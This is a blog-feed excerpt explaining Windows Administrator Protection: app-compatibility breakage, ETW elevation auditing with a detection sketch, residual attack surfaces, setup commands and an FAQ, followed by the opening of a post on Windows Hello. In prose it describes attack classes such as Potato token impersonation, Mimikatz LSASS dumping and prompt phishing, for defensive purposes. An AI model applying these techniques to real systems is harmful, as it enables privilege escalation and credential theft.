&lt;p&gt;The structural causes. The Windows Developer Blog (May 2025) [@ms-developer-blog-2025] enumerates the surface where applications break under the SMAA model.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Single sign-on does not cross.&lt;/strong&gt; Domain and Microsoft Entra credentials cached for the primary user&apos;s session are not available inside the SMAA&apos;s session. Any elevated process touching Microsoft Graph, Entra ID, or Kerberos-protected resources must re-authenticate. The login dialogs an elevated installer triggers are not failures of the application; they are consequences of the separated logon session.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network drives do not carry.&lt;/strong&gt; Drive-mapping in the primary user&apos;s session is not inherited by the SMAA. Installers that mount network shares to install per-machine components break. The workaround for affected installers is to use UNC paths directly rather than drive letters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Library folders diverge.&lt;/strong&gt; Files saved to &lt;code&gt;Documents&lt;/code&gt;, &lt;code&gt;Desktop&lt;/code&gt;, &lt;code&gt;Downloads&lt;/code&gt;, or &lt;code&gt;Pictures&lt;/code&gt; from an elevated app land in &lt;code&gt;C:\Users\ADMIN_&amp;lt;random&amp;gt;\&lt;/code&gt; rather than the primary user&apos;s home. A user clicks Save in an elevated text editor and saves to &quot;Documents&quot;; from their own Explorer, the file is invisible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKCU diverges.&lt;/strong&gt; Application settings -- theme, recent-files lists, per-user COM registrations, last-opened paths -- live in the SMAA&apos;s &lt;code&gt;HKCU&lt;/code&gt;, not the primary user&apos;s. The canonical example in Microsoft&apos;s documentation is Notepad&apos;s dark-mode theme [@ms-developer-blog-2025]: the primary user sets the theme; an elevated Notepad opens in the default theme; the two sessions never agree.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebView2 installers fail.&lt;/strong&gt; The error message &quot;Microsoft Edge can&apos;t read and write to its data directory&quot; is the recognisable symptom of an installer that assumes one shared profile. The WebView2 runtime stores per-user state in &lt;code&gt;AppData\Local\Microsoft\EdgeWebView\&lt;/code&gt; under whichever profile is active at install time; if the runtime is installed under the SMAA&apos;s profile and then used by an unelevated application running as the primary user, the data-directory write fails. This is the regression that triggered the December 2025 revert.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hyper-V and WSL incompatibilities.&lt;/strong&gt; Microsoft Learn explicitly tells IT administrators not to enable Administrator Protection on devices that require Hyper-V or WSL [@ms-admin-protection].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visual Studio.&lt;/strong&gt; Microsoft&apos;s own development environment is &quot;not supported in such a configuration&quot; when run elevated. Extensions don&apos;t carry; settings don&apos;t carry; project-dialog paths point at the SMAA&apos;s profile rather than the developer&apos;s actual workspace.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft Learn explicitly excludes Hyper-V and WSL devices from the recommended enablement set [@ms-admin-protection]. Symptoms of incorrect enablement include WSL distribution startup failures (the WSL service runs under a different account from the launching user, and the SMAA&apos;s logon-session-isolation properties interact badly with WSL&apos;s named-pipe communication) and Hyper-V Manager connection errors that are difficult to attribute to the elevation model.&lt;/p&gt;
&lt;/blockquote&gt;

I guess app compatibility is ultimately the problem here, Windows isn&apos;t designed for such a radical change. I&apos;d have also liked to have seen this as a separate configurable mode rather than replacing admin-approval completely. -- James Forshaw, *Bypassing Windows Administrator Protection*, Google Project Zero, January 26, 2026 [@forshaw-pz-jan2026]

Administrator Protection is the right architecture, and the compatibility surface is the bill of materials for twenty years of admin-as-default assumption. Application developers have written installer logic, theme-persistence code, drive-letter assumptions, and HKCU-shared state into shipping software for two decades, on the structural premise that the elevated process and the unelevated user share a profile. The December 2025 revert is the first iteration&apos;s learning round, not a structural failure. The same revert pattern accompanied the Windows Vista UAC rollout in 2006-2007, the Windows 7 auto-elevation introduction in 2009 (which itself softened the Vista prompt fatigue at the cost of the bypass canon), and the Smart App Control rollout in Windows 11 22H2. Microsoft will re-enable Administrator Protection when the WebView2 regression and a handful of installer-pattern fixes have shipped.
&lt;p&gt;The architecture survives audit. The deployment is held back by twenty years of accumulated software assumptions. The next section asks what tools defenders now have that they did not have before.&lt;/p&gt;
&lt;h2&gt;14. The audit and detection surface&lt;/h2&gt;
&lt;p&gt;Every privileged operation on a device with Administrator Protection enabled now generates an ETW (Event Tracing for Windows) event in the &lt;code&gt;Microsoft-Windows-LUA&lt;/code&gt; provider [@ms-admin-protection]. This is the first time the elevation pipeline itself is the &lt;em&gt;source&lt;/em&gt; of a stable, operationally useful audit trail.&lt;/p&gt;
&lt;p&gt;The basics.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provider: &lt;code&gt;Microsoft-Windows-LUA&lt;/code&gt;, GUID &lt;code&gt;{93c05d69-51a3-485e-877f-1806a8731346}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Event ID 15031: Elevation Approved.&lt;/li&gt;
&lt;li&gt;Event ID 15032: Elevation Denied or Failed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each event carries the caller user SID, the application name and path, the elevation outcome, the SMAA used to host the elevation, and the authentication method (Hello PIN, biometric, password) [@ms-admin-protection]. The authentication method field records the &lt;em&gt;primary user&apos;s&lt;/em&gt; Hello credential, not the SMAA&apos;s; the SMAA&apos;s authentication in step 6 of §7 is the credential-less LSA logon and has no method field of its own. The Microsoft Learn-documented &lt;code&gt;logman&lt;/code&gt; invocation to capture the trace is short:&lt;/p&gt;

The Event Tracing for Windows provider that surfaces Administrator Protection elevation events. Provider GUID `{93c05d69-51a3-485e-877f-1806a8731346}`. Event ID 15031 marks an elevation that succeeded; Event ID 15032 marks an elevation that was denied or failed. Each event carries fields for the caller&apos;s SID, the application path, the elevation outcome, the SMAA used, and the authentication method [@ms-admin-protection].
&lt;p&gt;{`
// Pseudocode for a detection pipeline that reads ETW Event 15031
// (Administrator Protection elevation approved) and flags unusual
// application paths per SMAA correlation key.&lt;/p&gt;
&lt;p&gt;const allowList = new Set([
  &apos;C:\\Windows\\System32\\mmc.exe&apos;,
  &apos;C:\\Windows\\System32\\regedit.exe&apos;,
  &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  &apos;C:\\Program Files\\Microsoft VS Code\\Code.exe&apos;,
]);&lt;/p&gt;
&lt;p&gt;function onEtwEvent(event) {
  if (event.provider !== &apos;Microsoft-Windows-LUA&apos;) return;
  if (event.id !== 15031) return;&lt;/p&gt;
&lt;p&gt;  const smaa = event.fields.shadowAccountName;
  const app  = event.fields.applicationPath;
  const auth = event.fields.authenticationMethod;
  const user = event.fields.callerUserSid;&lt;/p&gt;
&lt;p&gt;  if (!allowList.has(app)) {
    emit({
      severity: &apos;high&apos;,
      title: &apos;Unexpected elevation under Administrator Protection&apos;,
      smaa, app, auth, user,
      hint: &apos;Was the Hello prompt phished?&apos;
    });
  }
}
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For detection engineers, the &lt;code&gt;ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt; name is the highest-value correlation key on the device. It is stable per primary admin (the SMAA name is created once and persists across elevations), distinct from the limited-user SID (the SMAA has its own SID, so user-by-SID correlations and SMAA-by-name correlations are independent axes), and present in every ETW 15031 / 15032 event. A detection rule that groups elevations by SMAA name and flags unexpected application paths is the canonical &quot;someone phished a Hello prompt&quot; alert pattern.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Defenders now have the audit trail they did not have under UAC. The next section asks what residual attack surface survives the SMAA architecture, the Hello gate, and the new audit trail.&lt;/p&gt;
&lt;h2&gt;15. Open problems: what survives&lt;/h2&gt;
&lt;p&gt;Five residual attack surfaces, each acknowledged in Microsoft&apos;s own documentation, Forshaw&apos;s Project Zero posts, or the operational literature on Windows privilege escalation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The user is still the weak link.&lt;/strong&gt; Every elevation depends on a human accepting the prompt. The Hello credential gate makes that human&apos;s decision more costly to fake than the classic Yes/No, but the gate does not change the fact that a successful prompt is a successful elevation. The three sub-cases of consent-without-identity-verification from §9 -- unattended-session, habituated-click, pretext click-through -- are cost-raised, not closed. Phishing-the-prompt remains a live attack surface and Microsoft does not classify it as a vulnerability [@forshaw-pz-jan2026]. Out-of-band consent -- a phone-push approval channel, a smartcard tap, a separate hardware key tap -- would close the gap; none of these is the Administrator Protection default.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Loopback authentication.&lt;/strong&gt; The structural property that Windows services authenticate to themselves over the local network stack is independent of the SMAA model. SMB to &lt;code&gt;localhost&lt;/code&gt;, Kerberos against the local machine account, NTLM challenge-response between processes on the same box -- these protocols predate UAC and are not changed by Administrator Protection. Forshaw&apos;s broader 2022 Kerberos research [@forshaw-2022-rbcd] catalogues the class. The &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLMless article&lt;/a&gt; in this series covers SMB signing, Extended Protection for Authentication (EPA), and channel binding mitigations that defenders should pair with Administrator Protection to close the loopback path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Service-account &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;.&lt;/strong&gt; The Potato lineage of attacks (cataloged in the &lt;a href=&quot;https://paragmali.com/blog/windows-access-control-25-years-of-attacks/&quot; rel=&quot;noopener&quot;&gt;Access Control article&lt;/a&gt; in this series) runs in service accounts (&lt;code&gt;IIS_IUSRS&lt;/code&gt;, &lt;code&gt;LOCAL SERVICE&lt;/code&gt;, &lt;code&gt;NETWORK SERVICE&lt;/code&gt;), not in interactive admin sessions. Administrator Protection scopes itself to interactive admin elevation; the Potato class is structurally out of scope.&lt;/p&gt;

Service-account Potato attacks run inside `IIS_IUSRS`, `LOCAL SERVICE`, and `NETWORK SERVICE` rather than in interactive admin sessions. The attacker has compromised a service that holds `SeImpersonatePrivilege`, then uses one of several primitives (the SSPI / NEGOEX dance, the EFS RPC interface, a printer-spooler endpoint) to coerce a higher-privileged service into authenticating against the attacker&apos;s local socket, and impersonates the resulting token. Administrator Protection&apos;s promise is around the *interactive elevation* path -- the flow from a logged-in user clicking an installer to an elevated process running. Potato is a separate problem class with its own mitigations: removing `SeImpersonatePrivilege` from service accounts that don&apos;t need it, applying EPA, and patching the named primitives one by one.
&lt;p&gt;&lt;strong&gt;Driver loading once inside an SMAA elevation.&lt;/strong&gt; Admin equals kernel applies once a process is running inside the SMAA. Vulnerable-driver loading, kernel-mode code execution, and rootkit installation fall under the §11 &quot;admin equals kernel&quot; ceiling -- WHQL signing, the Vulnerable Driver Blocklist, App Control for Business, and HVCI remain the four-mechanism mitigation surface, with the App Identity article in this series covering the App Control mechanism. Administrator Protection does not change the relationship between admin and kernel; it changes the relationship between standard user and admin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hello credential phishing surface.&lt;/strong&gt; The prompt now phishes a &lt;em&gt;real credential&lt;/em&gt; rather than a click-through approval. A malicious application that successfully argues its case to the user gets a Hello gesture against the primary user&apos;s PIN or biometric. The credential remains hardware-rooted; ESS-engaged biometrics never leave the TPM or Pluton enclave; the malware does not learn the PIN. But the malware does get the elevation. The Windows Hello article in this series covers FIDO2 / ESS / PIN architecture hardening. Defender-side mitigation is the ETW 15031 / 15032 detection rule set on unexpected application paths [@ms-admin-protection].&lt;/p&gt;
&lt;p&gt;The boundary is real, the audit trail is new, and the five-class residual surface is the next decade of work. The next section turns to operator-side practicalities.&lt;/p&gt;
&lt;h2&gt;16. Practical guide&lt;/h2&gt;
&lt;p&gt;Six tips, each tied to one Microsoft Learn or Windows Developer Blog primary source. Remember that, as of December 2025, Microsoft has reverted the rollout and the feature is currently disabled on stable Windows; the guidance below applies once Microsoft re-enables it. The Spoiler below contains the verbatim commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable.&lt;/strong&gt; Set &lt;code&gt;TypeOfAdminApprovalMode = 2&lt;/code&gt; via Group Policy (&quot;User Account Control: Configure type of Admin Approval Mode&quot; -&amp;gt; &quot;Admin Approval Mode with Administrator Protection&quot;) or via the Intune Settings Catalog OMA-URI. A reboot is required for the new policy to take effect [@ms-admin-protection, @ms-kb5067036].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Verify.&lt;/strong&gt; Run &lt;code&gt;whoami&lt;/code&gt; in an elevated console. The profile name shows &lt;code&gt;ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt;. Run &lt;code&gt;whoami /priv&lt;/code&gt; to confirm the SMAA has the Administrators group enabled [@ms-admin-protection, @call4cloud-osint].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Capture.&lt;/strong&gt; Start the ETW trace with the documented &lt;code&gt;logman&lt;/code&gt; invocation; filter for Event IDs 15031 and 15032 [@ms-admin-protection]. The provider GUID is stable across builds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Do not enable&lt;/strong&gt; on devices that require Hyper-V or WSL. Re-evaluate when Microsoft re-enables the broad rollout [@ms-admin-protection, @forshaw-pz-jan2026].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;For application developers&lt;/strong&gt;, follow the Windows Developer Blog (May 19, 2025) guidance [@ms-developer-blog-2025]: install per-user packages unelevated; use &lt;code&gt;%ProgramFiles%&lt;/code&gt; (and accept the elevated install path); avoid context switching during install; avoid sharing files between elevated and unelevated profiles; remove auto-elevation dependencies. The auto-elevation manifest attribute is no longer honoured under Administrator Protection, so any installer that relied on silent elevation needs to be reworked.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;For IT admins&lt;/strong&gt; on already-enabled devices broken by an elevated install: disable Administrator Protection temporarily, reinstall the application unelevated, then re-enable [@ms-developer-blog-2025].&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Enable via Group Policy registry value (administrator console, persists across reboots):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Set TypeOfAdminApprovalMode to 2 (Admin Approval Mode with Administrator Protection)
reg add &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&quot; /v TypeOfAdminApprovalMode /t REG_DWORD /d 2 /f
# Reboot required:
shutdown /r /t 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Capture the elevation event trace:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;logman start AdminProtectionTrace -p {93c05d69-51a3-485e-877f-1806a8731346} -ets
:: After some elevations:
logman stop AdminProtectionTrace -ets
:: Process the .etl with PerfView, Message Analyzer, or:
wevtutil qe Microsoft-Windows-LUA/Operational /q:&quot;*[System[(EventID=15031 or EventID=15032)]]&quot; /f:text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify the SMAA presence after enablement:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Get-LocalUser | Where-Object Name -like &apos;ADMIN_*&apos;
# After an elevation, run from the elevated console:
whoami
# Expect: WIN11-PC\ADMIN_&amp;lt;random16hex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The single most common mistake in response to an Administrator Protection compatibility problem is to disable UAC globally by setting &lt;code&gt;EnableLUA = 0&lt;/code&gt;. This returns the device to the Windows XP single-token model, removes Mandatory Integrity Control enforcement on application processes, and effectively defeats every layer of UAC and Administrator Protection together. It is universally discouraged. The correct fix is per-application, via manifest, or per-device, via the documented Administrator Protection compatibility list.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Six tips, one boundary, one operational checklist. The next section answers the most common misconceptions.&lt;/p&gt;
&lt;h2&gt;17. Frequently asked questions&lt;/h2&gt;

No. Administrator Protection runs in `appinfo.dll` inside the Application Information service, which runs in `svchost.exe` in VTL0 (the normal Windows kernel context). The SMAA itself is a normal SAM-database account, not a Virtual Secure Mode trustlet. The cross-process protections of Virtualization-Based Security apply to LSASS Credential Guard and a handful of other VTL1 services; the elevation pipeline is not one of them. The Secure Kernel article in this series treats VTL0 / VTL1 separation in detail.

Partially. Administrator Protection replaces Admin Approval Mode UAC when `TypeOfAdminApprovalMode = 2`. The credential-prompt path (the over-the-shoulder elevation that asks a standard user to enter an administrator&apos;s credentials) and classic Admin Approval Mode (`TypeOfAdminApprovalMode = 1`) coexist with Administrator Protection across different configurations [@ms-admin-protection]. On a device with Administrator Protection enabled, only the interactive admin&apos;s elevation path goes through the SMAA; the standard-user-asking-for-admin-credentials path is unchanged.

No. There is absolutely an admin token; it lives in a different account, in a different logon session, for a bounded lifetime. The marketing language describes lifetime and isolation, not nonexistence [@ms-developer-blog-2025, @bleepingcomputer-2024]. The SMAA&apos;s token persists for the lifetime of the elevated process; when the process exits, the token handle is released and the logon session is reaped. Between elevations, no SMAA token exists in memory.

No. Malware can still elevate if the user accepts the Hello prompt. The boundary Administrator Protection creates is between *silent* elevation and *consented* elevation, not between any elevation and none. Microsoft&apos;s design position is explicit: &quot;I expect that malware will still be able to get administrator privileges even if that&apos;s just by forcing a user to accept the elevation prompt&quot; [@forshaw-pz-jan2026]. The three sub-cases of consent-without-identity-verification from §9 are cost-raised, not eliminated. What changes is that the elevation must be visible. Defenders gain the ETW 15031 audit trail as a result.

No. EPM uses a virtual elevated account on a per-request basis with cloud-side policy, and the virtual account is *not* a member of the local Administrators group [@ms-epm-overview]. Administrator Protection uses a persistent local SMAA per admin user, with on-box `appinfo.dll` policy, and the SMAA *is* a member of the local Administrators group [@call4cloud-osint]. EPM is centrally policy-driven and works on standard-user devices; Administrator Protection is per-device architecture and applies only to interactive admin users. The two can coexist on the same device.

No. Per Microsoft Learn, remote logon, roaming profiles, and backup admins are out of scope [@ms-admin-protection]. A domain administrator who logs into a workstation interactively will not see the SMAA path. Microsoft has stated that domain scenarios may be added in future iterations; the current GA-target form is local-machine-only, interactive-admin-only.

No. Mimikatz inside the elevated SMAA session still has `SeDebugPrivilege` and can call `OpenProcess` on `lsass.exe` to dump LSASS unless LSA Protection (Run As Protected Process Light) and Credential Guard are also enabled. Administrator Protection protects the *elevation path*; it does not protect the *resulting privileged session*. To protect the privileged session, pair Administrator Protection with LSA Protection (`RunAsPPL=1`), Credential Guard, App Control for Business, and HVCI. The Secure Kernel article in this series covers the LSA Protection mechanism.
&lt;p&gt;The misconceptions are cleared. The next section returns to the opening hook with the new vocabulary the article has built.&lt;/p&gt;
&lt;h2&gt;18. The user-elevation companion to Credential Guard&lt;/h2&gt;
&lt;p&gt;Return to the two &lt;code&gt;whoami /all&lt;/code&gt; outputs from §1, this time with the vocabulary the article has built.&lt;/p&gt;
&lt;p&gt;The first output shows the primary user under classic UAC. One SID, one profile, one &lt;code&gt;HKCU&lt;/code&gt;, one logon-session LUID; the elevated console is the same user as the unelevated console, distinguished only by the integrity level on the token.&lt;/p&gt;
&lt;p&gt;The second output shows the same login under Administrator Protection. A different user name -- &lt;code&gt;ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt; -- with a different SID linked to the primary admin via &lt;code&gt;ShadowAccountForwardLinkSid&lt;/code&gt; and &lt;code&gt;ShadowAccountBackLinkSid&lt;/code&gt;. A different profile under &lt;code&gt;C:\Users\ADMIN_&amp;lt;random&amp;gt;\&lt;/code&gt;. A different &lt;code&gt;NTUSER.DAT&lt;/code&gt; mapped as &lt;code&gt;HKCU&lt;/code&gt;. A fresh authentication-ID LUID minted by LSASS through the credential-less logon path described in §7, on the strength of &lt;code&gt;appinfo.dll&lt;/code&gt;&apos;s trusted request and a Hello gesture the primary user just performed. An ETW Event 15031 in the &lt;code&gt;Microsoft-Windows-LUA&lt;/code&gt; provider, freshly emitted, recording the elevation as approved, the application path, and the authentication method.&lt;/p&gt;
&lt;p&gt;The thesis lands. The elevation path is now itself a security boundary, with bulletin-grade fixes when it fails. Administrator Protection is the user-elevation companion to Credential Guard. Where Credential Guard isolated LSA secrets from admin-equals-kernel &lt;em&gt;inside&lt;/em&gt; the machine -- the &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Secure Kernel article&lt;/a&gt; in this series covers the VBS-rooted isolation in detail -- Administrator Protection isolates the elevation path &lt;em&gt;from&lt;/em&gt; the standard-user session. The two answer the two halves of the question the foundational Access Control article in this series left open: if admin equals kernel and tokens are bearer credentials, what is left to harden? The answer is the path that gets you there (Administrator Protection) and the data that is there once you arrive (Credential Guard).&lt;/p&gt;
&lt;p&gt;The December 2025 revert is the first iteration&apos;s learning round. The architecture is the right one. The application base catches up next. Forshaw&apos;s framing in February 2026 -- that Microsoft might have shipped this as a configurable mode rather than replacing admin approval completely -- is a reasonable critique, and the re-enablement is likely to address it. Until then, the operational reality on most stable Windows devices is the classic split-token model, with all the bypass canon it implies, and the SMAA design remains an Insider-Preview-and-policy-opted-in posture.&lt;/p&gt;
&lt;p&gt;What stays unchanged is the structural insight. The mechanism Microsoft used to make the elevation path a boundary is not novel; multi-user accounts have shipped in Windows NT since 1993. What changed is the &lt;em&gt;classification&lt;/em&gt;. Microsoft accepted, after twenty years of evidence, that the elevation pipeline needed to be a security boundary, and accepted with it the engineering cost: separate accounts, separate profiles, separate logon sessions, removal of auto-elevation, a credential gate instead of a click-through, an audit-trail ETW provider, and a willingness to ship bulletin-grade fixes for every Forshaw finding. The classification was the engineering decision. Everything else followed.&lt;/p&gt;
&lt;p&gt;This is what it took, in mechanism and in time, to make the elevation path real [@forshaw-pz-jan2026].&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;adminless-administrator-protection-in-windows&quot; keyTerms={[
  { term: &quot;Split-token model&quot;, definition: &quot;The Vista UAC mechanism that issues two access tokens at logon for a member of the local Administrators group: a filtered standard-user token and a linked full administrator token referenced via the TokenLinkedToken field.&quot; },
  { term: &quot;System Managed Administrator Account (SMAA)&quot;, definition: &quot;The hidden local user account that Windows creates per primary administrator when TypeOfAdminApprovalMode = 2, used to host elevated processes in a fresh logon session.&quot; },
  { term: &quot;ShadowAccountForwardLinkSid / ShadowAccountBackLinkSid&quot;, definition: &quot;The paired SAM attributes that encode the trust relationship between a primary admin user and its SMAA.&quot; },
  { term: &quot;TypeOfAdminApprovalMode&quot;, definition: &quot;The registry value selecting the elevation policy: 0 disables UAC; 1 selects classic Admin Approval Mode; 2 selects Admin Approval Mode with Administrator Protection.&quot; },
  { term: &quot;Auto-elevation&quot;, definition: &quot;The Windows 7 mechanism by which selected Microsoft-signed binaries elevated without showing a consent prompt; removed under Administrator Protection.&quot; },
  { term: &quot;COM Elevation Moniker&quot;, definition: &quot;The COM activation syntax that lets an unelevated caller request an elevated instance of a COM server class; the structural primitive of many UACMe bypasses.&quot; },
  { term: &quot;Credential-less LSA logon&quot;, definition: &quot;The mechanism by which LSA mints a primary access token for the SMAA without verifying any SMAA credential, on the strength of appinfo.dll&apos;s trusted request and the primary user&apos;s Hello result.&quot; },
  { term: &quot;Consent-without-identity-verification&quot;, definition: &quot;The primitive by which the legacy UAC consent dialog accepted a click on the secure desktop as sufficient evidence of consent. Administrator Protection&apos;s credential gate cost-raises three sub-cases (unattended-session, habituated-click, pretext click-through) without eliminating any.&quot; },
  { term: &quot;UI Access flag&quot;, definition: &quot;The token flag (TOKEN_UIACCESS) that allows a process to interact with windows of higher integrity, bypassing UIPI; the basis of five of Forshaw&apos;s nine pre-GA Administrator Protection bypasses.&quot; },
  { term: &quot;ETW provider Microsoft-Windows-LUA&quot;, definition: &quot;The Event Tracing for Windows provider, GUID {93c05d69-51a3-485e-877f-1806a8731346}, that surfaces Administrator Protection elevation events. Event 15031 = approved; Event 15032 = denied/failed.&quot; },
  { term: &quot;Security boundary (MSRC servicing criteria)&quot;, definition: &quot;A logical separation between code or data of different trust levels accompanied by a Microsoft commitment to issue a security update when an unauthorised crossing is found. Administrator Protection is the first elevation mechanism to be classified as a security boundary.&quot; }
]} questions={[
  { q: &quot;What four shared resources of the Vista split-token model do the four Administrator Protection fixes attack?&quot;, a: &quot;Same SID across both tokens; same %USERPROFILE%; same HKCU hive; same logon-session LUID.&quot; },
  { q: &quot;Why is the auto-elevation whitelist &apos;the bypass&apos;, in Davidson&apos;s framing?&quot;, a: &quot;The day Microsoft shipped a class of binaries that elevated silently based on signing and path, the entire UAC-bypass problem reduced to making one of those binaries do something the attacker wanted it to do. The whitelist itself was the structural mistake.&quot; },
  { q: &quot;What does the SAM forward/back linkage do at elevation time?&quot;, a: &quot;appinfo.dll&apos;s RAiLaunchAdminProcess reads the calling user&apos;s ShadowAccountForwardLinkSid, walks to the SMAA, and validates the matching ShadowAccountBackLinkSid. Without both attributes pointing at each other, the elevation is refused.&quot; },
  { q: &quot;What is the credential-less LSA logon at step 6 of the Administrator Protection pipeline, and why is the SMAA mintable without a credential?&quot;, a: &quot;After a positive Hello result on the primary user&apos;s credential, appinfo.dll asks the kernel to ask LSA to authenticate a new instance of the shadow administrator. LSA fulfils the request because the requester (appinfo.dll as SYSTEM) is trusted -- the same trust-the-requester pattern SCM uses to obtain service-account tokens -- and the SMAA has no human credential to verify in any case.&quot; },
  { q: &quot;Which class of Forshaw&apos;s nine pre-GA bypasses is uniquely caused by Administrator Protection itself rather than inherited from UAC?&quot;, a: &quot;The lazy DOS device directory hijack. The &apos;fresh logon session per elevation&apos; design property means the per-session DOS device directory is created lazily on first reference; an identification-level impersonation of the SMAA&apos;s linked token could trick the kernel into creating it with the attacker&apos;s owner SID.&quot; },
  { q: &quot;Why did Microsoft revert Administrator Protection on December 1, 2025?&quot;, a: &quot;A WebView2 application-compatibility regression: installers that wrote per-user state into the elevated SMAA&apos;s profile broke under unelevated callers running as the primary user. Forshaw confirmed the revert was unrelated to security findings.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>security</category><category>uac</category><category>administrator-protection</category><category>privilege-escalation</category><category>windows-hello</category><category>project-zero</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>No Secrets to Steal: How Windows Hello Eliminated the Shared Secret</title><link>https://paragmali.com/blog/your-face-is-not-your-password-inside-windows-hellos-hardwar/</link><guid isPermaLink="true">https://paragmali.com/blog/your-face-is-not-your-password-inside-windows-hellos-hardwar/</guid><description>How Windows Hello replaced passwords with TPM-backed biometrics, survived a decade of attacks, and helped make passwordless the default.</description><pubDate>Tue, 28 Apr 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows Hello replaces passwords with biometric authentication backed by hardware cryptography.** Your face or fingerprint unlocks a private key sealed inside a TPM chip -- no biometric data ever leaves your device, and no shared secret crosses the network. After a decade of enterprise growing pains and a cat-and-mouse security arms race, Microsoft made passwordless the default for new accounts in May 2025, with passkeys now achieving a 98% sign-in success rate. The password&apos;s 64-year reign is ending -- but open problems in biometric spoofing, credential portability, and quantum-resistant cryptography mean the replacement is still under construction.
&lt;h2&gt;Why Passwords Must Die&lt;/h2&gt;
&lt;p&gt;In 2024, Microsoft observed 7,000 password attacks every second [@ms-passkeys] -- more than double the rate from 2023. Picture this: a user types their carefully memorized 16-character password into what looks like a corporate login page. The page is a phishing replica. In under a second, that password -- the one they have been rotating every 90 days for three years -- belongs to someone else.&lt;/p&gt;

Microsoft observed 7,000 password attacks per second in 2024. The password Corbato invented as a quick fix in 1961 had become the single greatest attack surface in computing.
&lt;p&gt;The problem is not weak passwords. The problem is passwords themselves. They are shared secrets -- a piece of information that both you and the server know. Anything a server stores can be stolen. Anything you type can be intercepted. Anything you memorize can be phished. These are not implementation bugs. They are design properties.&lt;/p&gt;
&lt;p&gt;It was not supposed to be this way. In 1961, Fernando Corbato [@wiki-password] introduced computer passwords at MIT as a quick fix for multi-user mainframes. Users needed separate file spaces on the Compatible Time-Sharing System (CTSS), and a secret string was the simplest way to provide per-user isolation. It was a temporary measure for a specific engineering constraint.&lt;/p&gt;
&lt;p&gt;That temporary measure lasted 64 years.&lt;/p&gt;
&lt;p&gt;What if authentication did not require a secret at all? What if your face unlocked a cryptographic key -- and that key never left your device? That is the promise of Windows Hello. But the story of how we got here passes through a gelatin finger, a low-cost USB device, and a near-infrared camera that shattered assumptions about what &quot;secure&quot; really means.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Password&apos;s 64-Year Reign: A Brief History of Authentication Failure&lt;/h2&gt;
&lt;p&gt;In 1966, a software bug in MIT&apos;s CTSS printed the master password file to every user&apos;s terminal -- the first known password breach [@wiki-password].The 1966 CTSS incident was not a hack. A system administrator accidentally swapped the login message file with the master password file. Every user who logged in that day saw everyone else&apos;s password on screen.&lt;/p&gt;
&lt;p&gt;It was a sign of things to come. For the next six decades, every generation of authentication would solve one problem -- and reveal a deeper one.&lt;/p&gt;

gantt
    title Authentication Evolution
    dateFormat YYYY
    axisFormat %Y
    section Passwords
    Plaintext passwords on CTSS       :1961, 1979
    section Hashed
    UNIX crypt / hashed passwords     :1979, 1993
    section Network Auth
    NTLM challenge-response           :1993, 2000
    Kerberos / Windows AD             :2000, 2015
    section Biometrics
    Software biometrics via WBF       :2009, 2015
    section Windows Hello
    Hello + TPM asymmetric auth       :2015, 2021
    ESS + VBS + Cloud Trust           :2021, 2024
    Passkeys and passwordless default :2024, 2026
&lt;h3&gt;Generation 0: Plaintext passwords (1961)&lt;/h3&gt;
